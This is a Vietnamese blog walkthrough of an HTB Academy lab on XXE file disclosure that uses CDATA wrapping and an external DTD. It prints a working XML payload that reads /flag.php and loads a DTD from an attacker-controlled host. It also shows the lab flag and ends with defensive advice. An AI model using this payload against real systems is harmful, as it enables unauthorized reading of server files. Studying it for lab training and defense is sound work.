Advanced File Disclosure - Web attacks - HTB Academy

Khoa NguyenKhoa Nguyen
3 min read

Challenge: https://academy.hackthebox.com/module/134/section/1206

Lỗ hổng XXE với CDATA + External DTD

❓ XXE là gì?

XML External Entity Injection (XXE) là một loại tấn công xảy ra khi một ứng dụng xử lý dữ liệu XML không an toàn, cho phép kẻ tấn công chèn thêm các entity (thực thể) để truy cập vào:

  • File trên hệ thống (VD: /etc/passwd, /flag.php)

  • SSRF (gửi request tới các địa chỉ nội bộ)

  • Tấn công DoS (billion laughs)

📌 Tình huống bài này

  • Ứng dụng PHP có endpoint /submitDetails.php

  • Nhận dữ liệu XML từ phía client

  • Không cấu hình chặn các DOCTYPE hay ENTITY

  • Kẻ tấn công muốn đọc file /flag.php

💣 Kỹ thuật khai thác: CDATA + External DTD

🔍 Vấn đề cần vượt qua

  • Nếu đọc trực tiếp file: <!ENTITY myfile SYSTEM "file:///flag.php"> thì XML sẽ lỗi cú pháp nếu file chứa ký tự đặc biệt (<, &, >).

  • Để an toàn với mọi nội dung, chúng ta gói nội dung bằng <![CDATA[ ... ]]> — giúp XML parser hiểu là "raw text".

🚧 Nhưng...

Bạn không thể nối trực tiếp:

<!ENTITY combined "&start;&file;&end;"> <!-- SAI vì không được mix internal và external entity -->

✅ Giải pháp: External DTD

Tách logic ra ngoài một DTD file riêng — và để cả 3 thực thể (start, file, end) đều là external → có thể kết hợp lại.

⚒️ Các thành phần cấu thành Payload

1. File DTD bên ngoài (xxe.dtd)

<!ENTITY joined "%begin;%file;%end;">

Giải thích:

  • %begin;: mở đầu CDATA

  • %file;: đọc file từ máy nạn nhân

  • %end;: kết thúc CDATA

  • joined: nối cả 3 lại thành một entity lớn

2. Payload XML gửi lên server

xmlCopyEdit<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///flag.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://10.10.15.15:8000/xxe.dtd">
  %xxe;
]>
<root>
  <name>test</name>
  <tel>test</tel>
  <email>&joined;</email>
  <message>test</message>
</root>

Giải thích:

  • <!DOCTYPE root [...]>: phần định nghĩa các thực thể XML

  • <!ENTITY % xxe SYSTEM "http://10.10.15.15:8000/xxe.dtd">: lấy DTD từ attacker

  • &joined;: nội dung thực tế sẽ chứa nội dung file /flag.php, bọc trong <![CDATA[ ... ]]>

3. Cách gửi dữ liệu

Dùng BurpSuite:

🧪 Kết quả

Server phản hồi:

Check your email <?php $flag = "HTB{3rr0r5_c4n_l34k_d474}"; ?> for further instructions.

✅ File /flag.php đã bị tiết lộ nội dung thông qua kỹ thuật XXE!

💡 Bài học rút ra cho người mới

Vấn đề bảo mậtGiải thích
Server không tắt DOCTYPECho phép khai báo thực thể XML
Cho phép gọi DTD từ bên ngoàiCho phép kẻ tấn công lừa tải file độc hại
Cho phép đọc file nội bộBị đọc các file nhạy cảm như /flag.php, config, token, v.v.

🧱 Cách phòng tránh XXE (nếu bạn là dev)

  • Tắt hỗ trợ DOCTYPE/ENTITY trong XML parser

  • Sử dụng thư viện an toàn như defusedxml (Python), libxml_disable_entity_loader (PHP)

  • Không xử lý dữ liệu XML không tin cậy nếu không cần thiết

  • Thiết lập tường lửa nội bộ để chặn SSRF từ XXE

0
Subscribe to my newsletter

Read articles from Khoa Nguyen directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Khoa Nguyen
Khoa Nguyen

Mình là người mới bắt đầu tìm hiểu công nghệ đặc biệt về ngành an toàn thông tin. Mình có viết lại các bài này chủ yếu luyện tiếng Anh và đọc thêm. Cảm ơn mọi người đã quan tâm và đón đọc. Nếu có góp ý gì xin hãy liên lạc với mình nhé!